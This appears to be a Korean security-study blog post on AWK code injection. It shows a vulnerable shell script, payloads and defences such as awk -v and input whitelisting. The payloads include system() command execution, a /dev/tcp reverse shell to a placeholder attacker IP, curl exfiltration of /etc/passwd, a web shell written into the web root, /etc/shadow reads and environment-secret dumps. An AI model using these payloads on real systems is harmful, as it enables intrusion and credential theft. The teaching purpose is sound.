반응형
AWK
AWK는 Unix/Linux에서 텍스트 처리에 사용되는 프로그래밍 언어/도구이다.
파일이나 입력 스트림에서 패턴을 찾고 처리하는 데 매우 강력하다.
Code Injection
코드 인젝션(Code Injection)이란, 공격자가 프로그램이 처리하는 입력값에 악성 코드를 삽입해 프로그램이 의도치 않은 동작을 하도록 만드는 공격이다.
사용자 입력을 AWK 명령에 그대로 포함시킬 때 취약점이 생긴다.
취약점 코드 예시
#!/bin/bash
# 사용자로부터 검색할 이름을 입력받아 파일에서 찾는 스크립트
USER_INPUT="$1"
awk "/$USER_INPUT/ { print }" users.txt
- 쉘 스크립트에서 사용자 입력을 AWK에 직접 넣는 경우가 대표적이다.
정상적인 사용
./search.sh "Alice"
# → awk "/Alice/ { print }" users.txt
# Alice가 포함된 줄을 출력 (정상)
공격자의 입력
./search.sh "Alice/ { system(\"id\") } /foo"
# 실제 실행되는 AWK 명령
/Alice/ { system("id") } /foo/ { print }
- system("id")가 실행되면서 서버의 현재 사용자 정보가 출력된다.
- id 대신 rm -rf / 같은 파괴적인 명령도 가능하다.
공격이 가능한 이유
AWK는 자체적으로 system(), print | "cmd", getline 같은 시스템 명령 실행 함수를 내장하고 있기 때문
| AWK 내장 함수 | 설명 |
| system("cmd") | 쉘 명령 직접 실행 |
| print | "cmd" | 출력을 쉘 명령으로 파이프 |
| "cmd" | getline | 명령 실행 결과를 변수에 저장 |
AWK Code Injection 공격 기법
기법 1: system() 함수 이용한 명령 실행
가장 기본적인 공격 방법
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
```
**공격 입력:**
```
Alice/ { system("whoami") } /foo
실제 실행
/Alice/ { system("whoami") } /foo/ { print }
```
시스템 명령이 그대로 실행됩니다.
기법 2: 파이프(' | ')를 이용한 명령 실행
AWK는 `print | "명령어"` 형태로 출력을 외부 명령에 넘길 수 있음
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
**공격 입력:**
```
Alice/ { print "hacked" | "bash -i >& /dev/tcp/공격자IP/4444 0>&1" } /foo
```
- 이렇게 하면 리버스 셸(Reverse Shell) 연결이 가능
기법 3: getline을 이용한 명령 실행
getline은 파일이나 명령 실행 결과를 읽어오는 함수
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
**공격 입력:**
```
Alice/ { "cat /etc/passwd" | getline output; print output } /foo
```
- 서버의 /etc/passwd (계정 정보 파일) 내용이 출력됨
기법 4: AWK `BEGIN` 블록을 이용한 공격
BEGIN 은 파일 읽기 전에 실행되는 블록이다.
파일 내용과 상관없이 무조건 실행된다.
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
```
**공격 입력:**
```
x/ { print } BEGIN { system("id") } /y
실제 실행:
/x/ { print } BEGIN { system("id") } /y/ { print }
```
- 파일에 매칭되는 내용이 없어도 BEGIN 블록은 실행
기법 5: AWK `END` 블록을 이용한 공격
END는 파일 처리가 끝난 후 실행된다.
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
```
**공격 입력:**
```
x/ { print } END { system("curl http://공격자서버/?data=$(cat /etc/passwd)") } /y
```
- 민감한 파일 내용을 공격자 서버로 외부 전송할 수 있음
기법 6: 파일 읽기/쓰기
AWK는 파일을 직접 읽고 쓸 수 있음 ('>', '>>', "-'<)
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
```
**파일 덮어쓰기 공격:**
```
Alice/ { print "evil content" > "/var/www/html/shell.php" } /foo
```
- 웹 서버에 악성 PHP 웹쉘 업로드
**파일 읽기 공격:**
```
Alice/ { while ((getline line < "/etc/shadow") > 0) print line } /foo
```
- /etc/shadow (비밀번호 해시 파일) 내용을 읽어냄
기법 7: 환경변수 탈취(`ENVIRON`)
AWK에는 환경변수에 접근하는 ENVIRON 배열이 내장되어 있다.
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
```
**공격 입력:**
```
Alice/ { for (k in ENVIRON) print k, ENVIRON[k] } /foo
```
- 서버의 환경변수 전체 출력
- API 키. DB 비밀번호, AWS 자격증명 등
기법 8: 멀티라인 / 인코딩 우회
# 취약한 코드
awk "/$USER_INPUT/ { print }" file.txt
```
**개행 문자 삽입:**
```
Alice
} { system("id") } {
# 필터가 { } 를 막을 경우 우회 시도
awk -f /dev/stdin # 파일 자체를 stdin으로 받는 경우
```
- 쉘에서 $'\n' 을 이용해 개행문자를 삽입하면 단순한 문자열 필터를 우회할 수 있음
방어 방법
방법 1: AWK 변수(-v)를 사용해 입력값 분리
#!/bin/bash
USER_INPUT="$1"
awk -v pattern="$USER_INPUT" '$0 ~ pattern { print }' users.txt
- -v 옵션으로 입력값을 AWK 코드가 아닌 변수로 전달하면, 입력값이 코드로 해석되지 않는다.
방법 2: 입력값 검증(화이트리스트)
#!/bin/bash
USER_INPUT="$1"
# 영문자, 숫자만 허용
if [[ ! "$USER_INPUT" =~ ^[a-zA-Z0-9]+$ ]]; then
echo "허용되지 않는 문자가 포함되어 있습니다."
exit 1
fi
awk -v pattern="$USER_INPUT" '$0 ~ pattern { print }' users.txt
방법 3: AWK 코드에 사용자 입력을 직접 삽입하지 않기
# ❌ 위험한 방법
awk "/$USER_INPUT/ { print }" file.txt
# ✅ 안전한 방법
awk -v p="$USER_INPUT" '$0 ~ p { print }' file.txt
```
반응형
'Web Study' 카테고리의 다른 글
| Parameter Tampering Attack (0) | 2026.03.04 |
|---|---|
| JS Obfuscation (0) | 2026.03.03 |
| CVE-2022-29078 (0) | 2026.02.19 |
| Prototype Pollution (0) | 2026.02.14 |
| CVE-2025-29927 (0) | 2026.01.13 |